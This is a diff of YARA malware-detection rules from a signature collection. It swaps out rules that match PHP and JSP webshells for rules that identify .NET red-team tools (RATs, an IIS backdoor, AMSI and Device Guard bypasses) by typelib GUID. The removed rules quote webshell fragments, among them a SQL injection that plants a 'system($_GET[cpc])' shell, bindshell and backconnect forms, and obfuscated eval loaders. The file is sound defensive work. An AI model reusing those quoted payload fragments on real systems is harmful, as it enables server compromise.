-		hash = "64623ab1246bc8f7d256b25f244eb2b41f543e96"
-		logic_hash = "6480c524213583511253ea1d37820994bba8a86f58a3775d4a9e4325725289d8"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "8fd89465-1ecc-5eda-b2ab-273172ad945d"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/rasta-mouse/RuralBishop"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1999-L2013"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ee349395cbb2c692afcbdd0a6bce52d19762ec45b64cca684b60b148a1edd2d5"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "if( $_POST['_act'] == \"Upload!\" ) {" fullword
-		$s5 = "print \"<center><h1>#worst @dal.net</h1></center>\";" fullword
-		$s7 = "print \"<center><h1>Linux Shells</h1></center>\";" fullword
-		$s8 = "$currentCMD = \"ls -la\";" fullword
-		$s14 = "print \"<tr><td><b>System type:</b></td><td>$UName</td></tr>\";" fullword
-		$s19 = "$currentCMD = str_replace(\"\\\\\\\\\",\"\\\\\",$_POST['_cmd']);" fullword
+		$typelibguid0lo = "fe4414d9-1d7e-4eeb-b781-d278fe7a5619" ascii wide
+		$typelibguid0up = "FE4414D9-1D7E-4EEB-B781-D278FE7A5619" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Webshells_Phpinj
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Deviceguardbypasses : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file pHpINJ.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5879-L5896"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "75116bee1ab122861b155cc1ce45a112c28b9596"
-		logic_hash = "271efaa8f370376f971d3d59256658b341599ac554cc216e09401e44b16bdede"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "3790faac-b5be-5999-b35f-71a2ef02b6ed"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/tyranid/DeviceGuardBypasses"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2015-L2039"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b9fcec2e6641e961f2007dd1de1822fd0e0bcf9614fdd9e1110ac4fd40a89fd8"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "echo '<a href='.$expurl.'> Click Here to Exploit </a> <br />';" fullword
-		$s10 = "<form action = \"<?php echo \"$_SERVER[PHP_SELF]\" ; ?>\" method = \"post\">" fullword
-		$s11 = "$sql = \"0' UNION SELECT '0' , '<? system(\\$_GET[cpc]);exit; ?>' ,0 ,0 ,0 ,0 IN"
-		$s13 = "Full server path to a writable file which will contain the Php Shell <br />" fullword
-		$s14 = "$expurl= $url.\"?id=\".$sql ;" fullword
-		$s15 = "<header>||   .::News PHP Shell Injection::.   ||</header> <br /> <br />" fullword
-		$s16 = "<input type = \"submit\" value = \"Create Exploit\"> <br /> <br />" fullword
+		$typelibguid0lo = "f318466d-d310-49ad-a967-67efbba29898" ascii wide
+		$typelibguid0up = "F318466D-D310-49AD-A967-67EFBBA29898" ascii wide
+		$typelibguid1lo = "3705800f-1424-465b-937d-586e3a622a4f" ascii wide
+		$typelibguid1up = "3705800F-1424-465B-937D-586E3A622A4F" ascii wide
+		$typelibguid2lo = "256607c2-4126-4272-a2fa-a1ffc0a734f0" ascii wide
+		$typelibguid2up = "256607C2-4126-4272-A2FA-A1FFC0A734F0" ascii wide
+		$typelibguid3lo = "4e6ceea1-f266-401c-b832-f91432d46f42" ascii wide
+		$typelibguid3up = "4E6CEEA1-F266-401C-B832-F91432D46F42" ascii wide
+		$typelibguid4lo = "1e6e9b03-dd5f-4047-b386-af7a7904f884" ascii wide
+		$typelibguid4up = "1E6E9B03-DD5F-4047-B386-AF7A7904F884" ascii wide
+		$typelibguid5lo = "d85e3601-0421-4efa-a479-f3370c0498fd" ascii wide
+		$typelibguid5up = "D85E3601-0421-4EFA-A479-F3370C0498FD" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Webshells_NGH
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_AMSI_Handler : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file NGH.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5897-L5914"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c05b5deecfc6de972aa4652cb66da89cfb3e1645"
-		logic_hash = "572b026545b012951136bdb9b1101e38f27bc3321b895799bc853ea1190877f9"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "40768acf-fa9e-531a-83fd-187814ddc2d4"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/two06/AMSI_Handler"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2041-L2061"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cebfce69d60ca00e3d824bb75b36efc0c53b695c502a39601dee1e418af52766"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<title>Webcommander at <?=$_SERVER[\"HTTP_HOST\"]?></title>" fullword
-		$s2 = "/* Webcommander by Cr4sh_aka_RKL v0.3.9 NGH edition :p */" fullword
-		$s5 = "<form action=<?=$script?>?act=bindshell method=POST>" fullword
-		$s9 = "<form action=<?=$script?>?act=backconnect method=POST>" fullword
-		$s11 = "<form action=<?=$script?>?act=mkdir method=POST>" fullword
-		$s16 = "die(\"<font color=#DF0000>Login error</font>\");" fullword
-		$s20 = "<b>Bind /bin/bash at port: </b><input type=text name=port size=8>" fullword
+		$typelibguid0lo = "d829426c-986c-40a4-8ee2-58d14e090ef2" ascii wide
+		$typelibguid0up = "D829426C-986C-40A4-8EE2-58D14E090EF2" ascii wide
+		$typelibguid1lo = "86652418-5605-43fd-98b5-859828b072be" ascii wide
+		$typelibguid1up = "86652418-5605-43FD-98B5-859828B072BE" ascii wide
+		$typelibguid2lo = "1043649f-18e1-41c4-ae8d-ac4d9a86c2fc" ascii wide
+		$typelibguid2up = "1043649F-18E1-41C4-AE8D-AC4D9A86C2FC" ascii wide
+		$typelibguid3lo = "1d920b03-c537-4659-9a8c-09fb1d615e98" ascii wide
+		$typelibguid3up = "1D920B03-C537-4659-9A8C-09FB1D615E98" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Webshells_Matamu
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_RAT_Telegramspybot : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file matamu.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5915-L5931"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d477aae6bd2f288b578dbf05c1c46b3aaa474733"
-		logic_hash = "c0101dab5fe7c3a2652b2e23e1ef0274364137895a402a0367c6b5474c0e8a1f"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "57d22201-a051-5040-927c-30da3fc684fd"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/SebastianEPH/RAT.TelegramSpyBot"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2063-L2077"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ed661d6513df3a3e8558912f96f86bff55214f9ba6426085af8458a5c9c62d1f"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "$command .= ' -F';" fullword
-		$s3 = "/* We try and match a cd command. */" fullword
-		$s4 = "directory... Trust me - it works :-) */" fullword
-		$s5 = "$command .= \" 1> $tmpfile 2>&1; \" ." fullword
-		$s10 = "$new_dir = $regs[1]; // 'cd /something/...'" fullword
-		$s16 = "/* The last / in work_dir were the first charecter." fullword
+		$typelibguid0lo = "8653fa88-9655-440e-b534-26c3c760a0d3" ascii wide
+		$typelibguid0up = "8653FA88-9655-440E-B534-26C3C760A0D3" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Ru24_Post_Sh
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Thehacktoolboxteek : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file ru24_post_sh.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "86a45d72-c42d-58d5-9969-d3ebfc22853d"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5932-L5947"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d2c18766a1cd4dda928c12ff7b519578ccec0769"
-		logic_hash = "6cf15a67c311979d32edfb443701cef34ee32d7a672314fc7b60b262b6b2c402"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "ad8cf2c8-f70e-5f46-92fa-46e1fa5e683c"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/teeknofil/TheHackToolBoxTeek"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2079-L2105"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "08ffcdc2d2f7ae3325208dc4980b8f44505fc1fcf40a7a926ac5a0c97977a1d3"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "http://www.ru24-team.net" fullword
-		$s4 = "if ((!$_POST['cmd']) || ($_POST['cmd']==\"\")) { $_POST['cmd']=\"id;pwd;uname -a"
-		$s6 = "Ru24PostWebShell"
-		$s7 = "Writed by DreAmeRz" fullword
-		$s9 = "$function=passthru; // system, exec, cmd" fullword
+		$typelibguid0lo = "2aa8c254-b3b3-469c-b0c9-dcbe1dd101c0" ascii wide
+		$typelibguid0up = "2AA8C254-B3B3-469C-B0C9-DCBE1DD101C0" ascii wide
+		$typelibguid1lo = "afeff505-14c1-4ecf-b714-abac4fbd48e7" ascii wide
+		$typelibguid1up = "AFEFF505-14C1-4ECF-B714-ABAC4FBD48E7" ascii wide
+		$typelibguid2lo = "4cf42167-a5cf-4b2d-85b4-8e764c08d6b3" ascii wide
+		$typelibguid2up = "4CF42167-A5CF-4B2D-85B4-8E764C08D6B3" ascii wide
+		$typelibguid3lo = "118a90b7-598a-4cfc-859e-8013c8b9339c" ascii wide
+		$typelibguid3up = "118A90B7-598A-4CFC-859E-8013C8B9339C" ascii wide
+		$typelibguid4lo = "3075dd9a-4283-4d38-a25e-9f9845e5adcb" ascii wide
+		$typelibguid4up = "3075DD9A-4283-4D38-A25E-9F9845E5ADCB" ascii wide
+		$typelibguid5lo = "295655e8-2348-4700-9ebc-aa57df54887e" ascii wide
+		$typelibguid5up = "295655E8-2348-4700-9EBC-AA57DF54887E" ascii wide
+		$typelibguid6lo = "74efe601-9a93-46c3-932e-b80ab6570e42" ascii wide
+		$typelibguid6up = "74EFE601-9A93-46C3-932E-B80AB6570E42" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Hiddens_Shell_V1
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Usbtrojan : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file hiddens shell v1.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7194998e-c84c-5f59-92fe-857ecf7e8e88"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5948-L5959"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1674bd40eb98b48427c547bf9143aa7fbe2f4a59"
-		logic_hash = "b76400c320e6294b0c831fbbb8e08a9d2097fbb027065f9c4b496d4b005ba016"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "d25c9033-13e8-5fc9-8561-f8862cca39b8"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/mashed-potatoes/USBTrojan"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2107-L2121"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8435a9f9fdf1e29010db3f3c1f55c19d616761b0585a232686ed377a6a252297"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<?$d='G7mHWQ9vvXiL/QX2oZ2VTDpo6g3FYAa6X+8DMIzcD0eHZaBZH7jFpZzUz7XNenxSYvBP2Wy36U"
+		$typelibguid0lo = "4eee900e-adc5-46a7-8d7d-873fd6aea83e" ascii wide
+		$typelibguid0up = "4EEE900E-ADC5-46A7-8D7D-873FD6AEA83E" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_C99_Madnet
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_IIS_Backdoor : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file c99_madnet.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f2b9c3d1-1c55-59cb-a9bf-8b4011f86a3b"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5960-L5975"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "17613df393d0a99fd5bea18b2d4707f566cff219"
-		logic_hash = "cd4048f28405f106302643656ae5f8a257aaec0184a8057a9dffbda9bb857027"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "44264dd9-f8e9-5a60-847f-94378e07a327"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/WBGlIl/IIS_backdoor"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2123-L2139"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fbf6c641c9cede86867a88b62d5287d918edd67ae9f7228b5243d050a6487345"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "$md5_pass = \"\"; //If no pass then hash" fullword
-		$s1 = "eval(gzinflate(base64_decode('"
-		$s2 = "$pass = \"pass\";  //Pass" fullword
-		$s3 = "$login = \"user\"; //Login" fullword
-		$s4 = "             //Authentication" fullword
+		$typelibguid0lo = "3fda4aa9-6fc1-473f-9048-7edc058c4f65" ascii wide
+		$typelibguid0up = "3FDA4AA9-6FC1-473F-9048-7EDC058C4F65" ascii wide
+		$typelibguid1lo = "73ca4159-5d13-4a27-8965-d50c41ab203c" ascii wide
+		$typelibguid1up = "73CA4159-5D13-4A27-8965-D50C41AB203C" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_C99_Locus7S
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Shellgen : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file c99_locus7s.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f92fe5a2-e465-56ed-a77b-b32ea4c2c105"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5976-L5991"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d413d4700daed07561c9f95e1468fb80238fbf3c"
-		logic_hash = "5ecfc5f6da471bd3037228c0bc762d50762933af3cf6674210c7b2017a45a646"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "538a4f12-5020-5c76-9208-363f435ed9a9"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/jasondrawdy/ShellGen"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2141-L2155"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ed7204d27cae6e0bcbe42247775e5eb20a968c5816f71135c7e2c92cc7fdffc5"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s8 = "$encoded = base64_encode(file_get_contents($d.$f)); " fullword
-		$s9 = "$file = $tmpdir.\"dump_\".getenv(\"SERVER_NAME\").\"_\".$db.\"_\".date(\"d-m-Y"
-		$s10 = "else {$tmp = htmlspecialchars(\"./dump_\".getenv(\"SERVER_NAME\").\"_\".$sq"
-		$s11 = "$c99sh_sourcesurl = \"http://locus7s.com/\"; //Sources-server " fullword
-		$s19 = "$nixpwdperpage = 100; // Get first N lines from /etc/passwd " fullword
+		$typelibguid0lo = "c6894882-d29d-4ae1-aeb7-7d0a9b915013" ascii wide
+		$typelibguid0up = "C6894882-D29D-4AE1-AEB7-7D0A9B915013" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Jspwebshell_1_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Mass_RAT : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file JspWebshell_1.2.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "dfd8c88d-4fe2-5786-9d71-65dba525c358"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5992-L6008"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0bed4a1966117dd872ac9e8dceceb54024a030fa"
-		logic_hash = "13e696c1c671d7fda832c84f150e3f41ed55bf888c4bebfeb06ea68d6be65527"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "90b742da-6fd7-5c72-96cf-7a37a3e5d808"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/NYAN-x-CAT/Mass-RAT"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2157-L2175"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "540620ade0225df3fa207052c3904584672eb5bdccaa523e28a1a2aced604ef9"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "System.out.println(\"CreateAndDeleteFolder is error:\"+ex); " fullword
-		$s1 = "String password=request.getParameter(\"password\");" fullword
-		$s3 = "<%@ page contentType=\"text/html; charset=GBK\" language=\"java\" import=\"java."
-		$s7 = "String editfile=request.getParameter(\"editfile\");" fullword
-		$s8 = "//String tempfilename=request.getParameter(\"file\");" fullword
-		$s12 = "password = (String)session.getAttribute(\"password\");" fullword
+		$typelibguid0lo = "6c43a753-9565-48b2-a372-4210bb1e0d75" ascii wide
+		$typelibguid0up = "6C43A753-9565-48B2-A372-4210BB1E0D75" ascii wide
+		$typelibguid1lo = "92ba2a7e-c198-4d43-929e-1cfe54b64d95" ascii wide
+		$typelibguid1up = "92BA2A7E-C198-4D43-929E-1CFE54B64D95" ascii wide
+		$typelibguid2lo = "4cb9bbee-fb92-44fa-a427-b7245befc2f3" ascii wide
+		$typelibguid2up = "4CB9BBEE-FB92-44FA-A427-B7245BEFC2F3" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Safe0Ver
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Browser_Externalc2 : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file safe0ver.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a7fc8c89-f7a1-5958-823a-763dedb3066d"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6009-L6026"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "366639526d92bd38ff7218b8539ac0f154190eb8"
-		logic_hash = "ae5de63b79804cf8c99bc5ea0c8862cf05e4085451d2b516cf95565bf32f3876"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "8c309522-90e7-5f5a-b456-3a472756d397"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/mdsecactivebreach/Browser-ExternalC2"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2177-L2191"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d5121396444c406049fcb6c24680a067341943a6982f67c7c5cd11947d3468bc"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "$scriptident = \"$scriptTitle By Evilc0der.com\";" fullword
-		$s4 = "while (file_exists(\"$lastdir/newfile$i.txt\"))" fullword
-		$s5 = "else { /* <!-- Then it must be a File... --> */" fullword
-		$s7 = "$contents .= htmlentities( $line ) ;" fullword
-		$s8 = "<br><p><br>Safe Mode ByPAss<p><form method=\"POST\">" fullword
-		$s14 = "elseif ( $cmd==\"upload\" ) { /* <!-- Upload File form --> */ " fullword
-		$s20 = "/* <!-- End of Actions --> */" fullword
+		$typelibguid0lo = "10a730cd-9517-42d5-b3e3-a2383515cca9" ascii wide
+		$typelibguid0up = "10A730CD-9517-42D5-B3E3-A2383515CCA9" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Uploader
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Offensivepowershelltasking : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file Uploader.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c68e15d9-865e-5269-a91c-00619fe76305"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6027-L6038"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e216c5863a23fde8a449c31660fd413d77cce0b7"
-		logic_hash = "c4b915f60a952131caa2c4f5bb2eea85ef25f27cabb8ad36a6bb928433558954"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "d221e24d-a2ef-51e2-95bf-4b91b438d9cf"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/leechristensen/OffensivePowerShellTasking"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2193-L2209"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6de43b8349ff5f0e87d91e522be802a5dd18745441ffb76dcef63d2f1cd25332"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "move_uploaded_file($userfile, \"entrika.php\"); " fullword
+		$typelibguid0lo = "d432c332-3b48-4d06-bedb-462e264e6688" ascii wide
+		$typelibguid0up = "D432C332-3B48-4D06-BEDB-462E264E6688" ascii wide
+		$typelibguid1lo = "5796276f-1c7a-4d7b-a089-550a8c19d0e8" ascii wide
+		$typelibguid1up = "5796276F-1C7A-4D7B-A089-550A8C19D0E8" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Webshells_Kral
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Dohc2 : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file kral.php"
